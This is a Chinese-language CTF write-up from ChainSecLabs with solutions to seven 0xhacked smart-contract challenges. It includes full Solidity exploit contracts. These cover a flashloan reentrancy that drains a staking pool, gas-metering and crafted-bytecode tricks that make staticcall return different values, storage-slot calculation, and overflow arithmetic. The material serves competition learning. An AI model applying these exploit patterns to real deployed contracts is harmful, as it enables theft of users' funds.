此次 0xhacked CTF 比赛,ChainSecLabs 取得了第四名的成绩。让我们来看看比赛题目的题解吧。(题目代码仓库在文末哦~)
BabyOtter
这是应该说是一个算法题,很明显需要溢出,因为精度问题,uint256(-1)/0x1337并不行。没有写出一个脚本找出X,而是找到了其中的数学规律。
//387 第12次溢出
//362 第24次溢出
//337 第36次溢出
//12 第192溢出
以上是一个循环,之后每个循环的末尾的数减1。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface IBabyOtter {
function solve(uint x) external;
}
contract Exploit {
function exploit() public {
uint number = 106517423012574869748253447278778772725360170890836257832597187972312850502279;
address target = 0x4e309C767Acc9f9366d75C186454ed205d5Eeee3;
IBabyOtter(target).solve(number);
}
}
ChildOtter
做题时只是用debug查了下memory中0x20的值是
0xad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5,因为target=mload(32)
,直接取内存中0x20~0x40的值。
赛后仔细观察val[0][0] = x;的赋值过程发现,会先计算第一层映射值的插槽储存在memory0x20中,用于计算第二层映射值的插槽,然后sstore,第二层的映射位置没有写入memory而是存在于stack用了就丢弃。
原理:对应文档中的映射值得插槽计算方法通过
keccak256(abi.encodePacked(uint(
key
),uint(
slot
)))
可以算出 第一层映射值得插槽为:
0xad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5,
第二层映射插槽为:
0xed428e1c45e1d9561b62834e1a2d3015a0caae3bfdc16b4da059ac885b01a145
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface IChildOtter {
function solve(uint x) external;
}
contract Exploit {
function exploit() public {
// write code here
address target = 0x63461D5b5b83bD9BA102fF21d8533b3aad172116;
IChildOtter(target).solve(
0xad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5
);
}
}
StakePool
本题的Pool中flashloan存在重入,在flashloan过程中可以再次调用合约的deposit,这个deposit的行为就相当于还钱闪电贷了,但是却给我们记录了存款的假象。这样我们只需要支付闪贷的手续费,就可以获得大量余额。分多次削减Pool中余额完成题目,因为一次借贷太多钱会导致手续费过高,题目环境我们没有太多的钱。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface IStakePool {
function deposit() external payable returns (uint256);
function withdraw(uint256 shares) external returns (uint256);
function flashloan(uint256 amount, bytes calldata data) external;
function faucet() external;
function solve() external;
}
contract Exploit {
uint shares;
function exploit() public {
// write code here
address target = 0x511978e46Fc117795431f7493fB5288592097C4A;
IStakePool(target).faucet();
uint amount = (address(this).balance * 10000) / 5;
IStakePool(target).flashloan(amount, "");
IStakePool(target).withdraw(shares);
for(uint i = 0; i < 2; i++){
IStakePool(target).flashloan(address(target).balance, "");
IStakePool(target).withdraw(shares);
}
IStakePool(target).solve();
}
function onStakPoolFlashloan(
uint amount,
uint feeAmount,
bytes memory data
) external payable {
address target = 0x511978e46Fc117795431f7493fB5288592097C4A;
shares = IStakePool(target).deposit{value: amount + feeAmount}();
}
fallback() external payable {}
}
Bytedance
完成题目需要跑通过两次staticcall返回不同的值。
第一次会把”Hello Player”和target的字节码打包创建一个新的合约。”Hello Player“的bytes表示为
0x48656c6c6f20506c61796572
转换为字节码为:
[00] | BASEFEE | |
[01] | PUSH6 | 6c6c6f20506c |
[08] | PUSH2 | 7965 |
[0b] | PUSH19 |
可以看到前面这些字节码无伤大雅 只需要填充19字节就可以直接按照我们的逻辑来编写。
第二次把”`*V”和target的字节码打包创建一个新合约。”`*V”的bytes表示为0x602a56 转换为字节码为:
[00] | PUSH1 | 2a |
[02] | JUMP |
发现字节码会直接跳转到2a的地方继续执行,那么字节码中必须由jumpdest ,但是第一个打包中没有jump。
我首先考虑控制push19 和 jumpdest中间的字段,让第一次打包后jumpdest被覆盖进push的内容中,而第二次打包jumpdest在正确的位置,之后按照自身字节码长度来判断应该返回的值。
我构造了如下字节码:
0x72ffffffffffffffffffffffffffffffffffff7371ffffffffffffffffffffffffffffffffffff5b303b608052608051608d116062577f48656c6c6f20506c61796572ffffffffffffffffffffffffffffffffffffffff608052600c6080fd5b7f602a56ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60805260036080fd
第一次打包后为:
第二次打包后为:
最后还要解决的一个问题是要求setup target时地址代码长度要求0,我们可以在构造函数中调用setup,这样由于合约还未完成部署,检测的代码长度为0。
攻击合约:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface IBytedance {
function solve() external;
function setup() external;
}
contract Exploit {
function exploit() public {
address target = 0x2eB0fCb87fe17e7a2aB93B6d51C0A72D9dbA6bdC;
bytes
memory code = hex"72ffffffffffffffffffffffffffffffffffff7371ffffffffffffffffffffffffffffffffffff5b303b608052608051608d116062577f48656c6c6f20506c61796572ffffffffffffffffffffffffffffffffffffffff608052600c6080fd5b7f602a56ffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60805260036080fd";
Helper helper = new Helper(code);
IBytedance(target).solve();
}
}
contract Helper {
constructor(bytes memory a) public payable {
address target = 0x2eB0fCb87fe17e7a2aB93B6d51C0A72D9dbA6bdC;
IBytedance(target).setup();
assembly {
return(add(0x20, a), mload(a))
}
}
}
赛后想了下应该有更简单的构造方法,比如在jumpdest之前返回0x48656c6c6f20506c61796572,jumpdest之后返回0x602a56,并且用RETURN返回数据更好,当然本处使用了REVERT一样可行。
Factorial
题目让我们成功调用run方法,其中会staticcall回调msg.sender的factorial(uint256)
5次,返回值累乘的结果是120。正常情况下,相同的返回值,累乘5次不可能刚好是120,因此我们需要返回不同的值。
因为staticcall限制不能修改状态,因此采用gas限制,根据冷热地址访问gas消耗不同,返回不同的值:第一次热访问返回120,后面4次冷访问都返回1,即可。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface IFactorial {
function solve() external;
}
contract Exploit {
IFactorial level;
// construct() {} // construct not allowed
function exploit() public {
// write code here
address target = 0x1963ead4de36524e8EB53B88ccf79ff15Fe20baB;
level = IFactorial(target);
level.solve();
}
function factorial(uint256) public view returns (bytes32) {
uint startGas = gasleft();
uint bal = address(0x100).balance;
uint usedGas = startGas - gasleft();
if (usedGas < 1000) {
bytes32 data01 = bytes32(uint256(1));
return data01;
}
bytes32 data02 = bytes32(uint256(120));
return data02;
}
}
AdultOtter
又是一道算法题,如下是分析:
-
2**255刚好能被2**64除断。
-
对b[i]展开:b[i]=(2**255 + code[i] – 7 *i**i * code[i]+ b[i-1]) % 2**64;
-
b[15] = 15 *2**255 + code[15] – 7 *i**i * code[15] + code[14] – 7 *i**i * code[14] + …… code[1] – 7 *i**i * code[1] + b[0]
-
那么使 code[15] – 7 *i**i * code[15] + code[14] – 7 *i**i * code[14] + …… code[1] – 7 *i**i * code[1]+ b[0] 为2**64倍数即可。
最终构造出来的结果如下:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface IAdultOtter {
function pwn(uint[16] memory code) external;
}
contract Exploit{
function exploit() public {
address addr = 0x6D40aCf2EF8F8F99247666AEE922E79CB605DE3B;
uint[16] memory DataNumber;
DataNumber[0] = 11;
DataNumber[1] = 1513;
DataNumber[2] = 3859;
DataNumber[3] = 5192;
DataNumber[4] = 6112;
DataNumber[5] = 7966;
DataNumber[6] = 9263;
DataNumber[7] = 10432;
DataNumber[8] = 11709;
DataNumber[9] = 13320;
DataNumber[10] = 14564;
DataNumber[11] = 15480;
DataNumber[12] = 16614;
DataNumber[13] = 18200;
DataNumber[14] = 19485;
DataNumber[15] = 21344;
IAdultOtter(addr).pwn(DataNumber);
}
}
Snakes
这道题给了一大串字节码(其实是initcode),然后部署,调用输入的code参数,需要返回true。
经过反编译分析,返现参数code只有高8字节有用,多余内容会截断。分析题意只要程序执行到STOP操作码就可以了,这道题随便输入都很容易可以到STOP操作码,并且有很多STOP操作码的地方,个人感觉题目出得不好,随便试了几个参数code都可以通过。
题外话:即使本题找到STOP的条件很苛刻,也可以直接爆破,毕竟8字节的也不多,2**64种可能性。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface ISnakes {
function solve(bytes memory) external;
}
contract Exploit {
// construct() {} // construct not allowed
function exploit() public {
// write code here
address target = 0x827bB86B1594C77C9Ef9c126Bf1b0D46DC81aEEA;
bytes memory code = hex"12345678";
ISnakes(target).solve(code);
}
}
题目代码仓库:
https://github.com/0xHackedLabs/ctf/tree/main
– END –
文案 | 张凯 于文杰 陈钦
排版 | 杜以晴
原文始发于微信公众号(ChainSecLabs):0xhacked CTF 大赛题解出炉啦!